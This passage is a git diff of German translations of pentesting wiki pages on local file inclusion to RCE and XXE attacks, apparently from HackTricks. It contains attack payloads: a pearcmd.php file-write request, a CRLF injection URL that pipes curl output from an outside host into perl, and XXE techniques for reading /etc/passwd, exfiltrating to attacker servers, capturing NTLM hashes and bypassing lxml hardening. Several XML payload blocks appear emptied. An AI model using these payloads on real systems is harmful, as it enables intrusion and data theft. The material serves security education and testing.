`/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte. +Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte. Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Der folgende Missbrauch einer CRLF-Sicherheitsanfälligkeit ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Der folgende Missbrauch einer CRLF-Schwachstelle ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -576,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Via phpinfo() (file_uploads = on) -Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei, die **phpinfo()** exponiert, mit file_uploads = on, können Sie RCE erhalten: +Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()** mit file_uploads = on exponiert, können Sie RCE erhalten: {{#ref}} lfi2rce-via-phpinfo.md @@ -611,6 +657,8 @@ _Es sei denn, Sie verursachen einen PHP Fatal Error, werden die hochgeladenen PH - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 75cbda69a..e05da901b 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -35,7 +35,7 @@ In diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration fun Lass uns versuchen, `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen, zu lesen: `C:\windows\system32\drivers\etc\hosts` -In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktioniert. +In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls funktionieren wird. ```xml ]> @@ -43,7 +43,7 @@ In diesem ersten Fall beachte, dass SYSTEM "_**file:///**etc/passwd_" ebenfalls ``` ![](<../images/image (86).png>) -Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei Portswiggers Labs) +Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei den Portswigger-Labs) ```xml ]> @@ -65,10 +65,10 @@ In diesem dritten Fall beachten Sie, dass wir das `Element stockCheck` als ANY d ### Verzeichnisauflistung -In **Java**-basierten Anwendungen könnte es möglich sein, **den Inhalt eines Verzeichnisses aufzulisten** über XXE mit einem Payload wie (einfach nach dem Verzeichnis anstelle der Datei fragen): +In **Java**-basierten Anwendungen kann es möglich sein, **den Inhalt eines Verzeichnisses aufzulisten** über XXE mit einem Payload wie (einfach nach dem Verzeichnis anstelle der Datei fragen): ```xml -]>&xxe; +&xxe; ]>&xxe; @@ -108,8 +108,8 @@ Die von diesem DTD ausgeführten Schritte umfassen: 1. **Definition von Parameterentitäten:** - Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest. -- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie deklariert dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt. -2. **Ausführung der Entitäten:** +- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt. +2. **Ausführung von Entitäten:** - Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt. - Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst. @@ -144,15 +144,15 @@ Bei der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalt ![](<../images/image (809).png>) -_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb der zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_ +_**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerhalb des zweiten `eval` einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_ ### **Fehlerbasiert (System DTD)** Was ist also mit blinden XXE-Schwachstellen, wenn **out-of-band Interaktionen blockiert sind** (externe Verbindungen nicht verfügbar sind)? -Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu induzieren, um sensible Informationen offenzulegen. +Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu erzeugen, um sensible Informationen offenzulegen. -Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenlegt, indem er eine hybride DTD wie folgt einreicht: +Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler hervorrufen, der den Inhalt der Datei `/etc/passwd` offenlegt, indem er eine hybride DTD wie folgt einreicht: ```xml @@ -188,7 +188,7 @@ Die skizzierten Schritte werden durch diese DTD ausgeführt: ``` ![](<../images/image (625).png>) -Da diese Technik ein **internes DTD verwendet, müssen Sie zuerst ein gültiges finden**. Sie könnten dies **tun, indem Sie** dasselbe **Betriebssystem / Software** installieren, das der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eines von ihnen existiert: +Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie das gleiche **Betriebssystem / die gleiche Software** installieren, die der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eine von ihnen existiert: ```xml @@ -225,7 +225,7 @@ Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Weba Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann. -Sobald das Dokument entpackt wurde, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt. +Sobald das Dokument entpackt ist, sollte die XML-Datei, die sich unter `./unzipped/word/document.xml` befindet, in einem bevorzugten Texteditor (wie vim) geöffnet und bearbeitet werden. Die XML sollte so modifiziert werden, dass der gewünschte XXE-Payload enthalten ist, der oft mit einer HTTP-Anfrage beginnt. Die modifizierten XML-Zeilen sollten zwischen den beiden Wurzel-XML-Objekten eingefügt werden. Es ist wichtig, die URL durch eine überwachbare URL für Anfragen zu ersetzen. @@ -243,21 +243,21 @@ jar:https://download.host.com/myarchive.zip!/file.txt > [!CAUTION] > Um auf Dateien innerhalb von PKZIP-Dateien zugreifen zu können, ist es **super nützlich, XXE über System-DTD-Dateien auszunutzen.** Überprüfen Sie [diesen Abschnitt, um zu lernen, wie man System-DTD-Dateien ausnutzt](xxe-xee-xml-external-entity.md#error-based-system-dtd). -Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das Jar-Protokoll zuzugreifen, umfasst mehrere Schritte: +Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das jar-Protokoll zuzugreifen, umfasst mehrere Schritte: 1. Eine HTTP-Anfrage wird gestellt, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`. 2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, typischerweise an einem Ort wie `/tmp/...`. -3. Das Archiv wird dann extrahiert, um auf den Inhalt zuzugreifen. -4. Die spezifische Datei im Archiv, `file.zip`, wird gelesen. +3. Das Archiv wird dann extrahiert, um auf seinen Inhalt zuzugreifen. +4. Die spezifische Datei innerhalb des Archivs, `file.zip`, wird gelesen. 5. Nach dem Vorgang werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht. -Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können hierfür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`). +Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können dafür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`). ```xml ]> &xxe; ``` > [!CAUTION] -> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfadüberquerung beinhaltet** (wie lokale Dateieinbindung, Template-Injektion, XSLT RCE, Deserialisierung usw.). +> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Datei-Einbindung, Template-Injektion, XSLT RCE, Deserialisierung usw.). ### XSS ```xml @@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] #### NTML erhalten -Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen responder.py-Handler einrichtet: +Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen Responder.py-Handler einrichtet: ```bash Responder.py -I eth0 -v ``` @@ -328,7 +328,7 @@ Ein Beispiel für einen solchen Exploit ist unten dargestellt, wo ein bösartige ```xml ``` -Eine weitere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper: +Eine andere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper: ```xml @@ -336,13 +336,13 @@ Eine weitere Methode besteht darin, zu versuchen, **Befehle auszuführen** über ``` In beiden Fällen wird das SVG-Format verwendet, um Angriffe zu starten, die die XML-Verarbeitungsfähigkeiten der Software des Servers ausnutzen, was die Notwendigkeit robuster Eingangsvalidierung und Sicherheitsmaßnahmen hervorhebt. -Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! +Überprüfen Sie [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) für weitere Informationen! **Beachten Sie, dass die erste Zeile der gelesenen Datei oder des Ergebnisses der Ausführung INDEM erstellten Bild erscheint. Sie müssen also in der Lage sein, auf das Bild zuzugreifen, das SVG erstellt hat.** ### **PDF - Datei-Upload** -Lesen Sie den folgenden Beitrag, um **zu erfahren, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**: +Lesen Sie den folgenden Beitrag, um **zu lernen, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**: {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md @@ -514,7 +514,7 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Dieser Ansatz zeigt, dass der User Agent die Verwendung von Java 1.8 anzeigt. Eine bemerkte Einschränkung dieser Version von Java ist die Unfähigkeit, Dateien mit einem Zeilenumbruchzeichen, wie /etc/passwd, mithilfe der Out of Band-Technik abzurufen. +Dieser Ansatz zeigt, dass der User Agent die Verwendung von Java 1.8 anzeigt. Eine bemerkte Einschränkung dieser Version von Java ist die Unfähigkeit, Dateien mit einem Zeilenumbruchzeichen, wie z.B. /etc/passwd, mit der Out of Band-Technik abzurufen. Error-Based Data Exfiltration Um diese Einschränkung zu überwinden, wird ein Error-Based-Ansatz verwendet. Die DTD-Datei ist wie folgt strukturiert, um einen Fehler auszulösen, der Daten aus einer Ziel-Datei enthält: ```xml @@ -540,9 +540,9 @@ Diese Modifikation führt zur erfolgreichen Exfiltration des Inhalts der Datei, Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle. -### Ping zurück +### Ping back -Einfacher HTTP-Anfrage an den Server des Angreifers. +Einfacher HTTP-Anfrage an den Server des Angreifers ```xml @@ -586,7 +586,7 @@ Einfacher HTTP-Anfrage an den Server des Angreifers. ``` ### Quellcode lesen -Verwendung des PHP base64 Filters +Verwendung des PHP base64-Filters ```xml @@ -609,7 +609,7 @@ Verwendung des PHP base64 Filters ``` ## Java XMLDecoder XEE zu RCE -XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Codeausführung auf dem Server. +XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server. ### Verwendung von Runtime().exec() ```xml @@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter * Die undefinierte Entität so umdefiniert, dass sie: - Die Zieldatei liest (``). - Eine weitere Parameterentität erstellt, die auf einen **ungültigen Pfad** verweist, der den Wert `%flag;` enthält und einen Parserfehler auslöst (`">`). -3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, nicht in der Lage ist, `/aaa/` zu öffnen und das Flag innerhalb der ausgelösten Ausnahme preisgibt – was oft von der Anwendung an den Benutzer zurückgegeben wird. +3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, `/aaa/` nicht öffnen kann und das Flag innerhalb der ausgelösten Ausnahme preisgibt – was oft von der Anwendung an den Benutzer zurückgegeben wird. ```xml @@ -709,13 +709,13 @@ Wenn die Anwendung die Ausnahme ausgibt, enthält die Antwort: Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` > [!TIP] -> Wenn der Parser sich über `%`/`&`-Zeichen im internen Teil beschwert, kodieren Sie sie doppelt (`&#x25;` ⇒ `%`), um die Erweiterung zu verzögern. +> Wenn der Parser sich über `%`/`&`-Zeichen im internen Teil beschwert, kodieren Sie sie doppelt (`&#x25;` ⇒ `%`), um die Expansion zu verzögern. #### 2. Umgehung der lxml 5.4.0-Härtung (libxml2 weiterhin anfällig) -`lxml` ≥ 5.4.0 verbietet *error*-Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin: -1. Die Datei in eine Parameterentität `%file` zu lesen. -2. Eine weitere Parameterentität zu deklarieren, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet. -3. `&c;` im XML-Body zu platzieren. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt es fehl und spiegelt die vollständige URI – einschließlich des Dateiinhalts – in der Fehlermeldung wider. +`lxml` ≥ 5.4.0 verbietet *error* Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin: +1. Lesen Sie die Datei in eine Parameterentität `%file`. +2. Deklarieren Sie eine weitere Parameterentität, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet. +3. Platzieren Sie `&c;` im XML-Körper. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt er fehl und spiegelt die vollständige URI – einschließlich des Dateiinhalts – in der Fehlermeldung wider. ```xml + +]> + +&probe; + +``` +Hinweise: +- Ersetzen Sie die Entitäts-URL durch Ihren Mitarbeiter. Wenn SSRF möglich ist, wird der Server sie beim Parsen der Nachricht auflösen. +- Zu beachtende Härtungen: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`. +- Selbst wenn der JMF-Port keine Dateien bereitstellt, kann SSRF für interne Recon oder um Management-APIs zu erreichen, die an localhost gebunden sind, verkettet werden. + +Referenzen für diesen Vektor sind am Ende der Seite aufgeführt. + +## Referenzen - [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/) @@ -781,6 +807,9 @@ Fallstudie aus der Praxis: **CVE-2025-27136** im Java S3-Emulator *LocalS3* verw - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) - [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) -- [lxml bug #2107279 – Parameter-entity XXE immer noch möglich](https://bugs.launchpad.net/lxml/+bug/2107279) +- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#include ../banners/hacktricks-training.md}}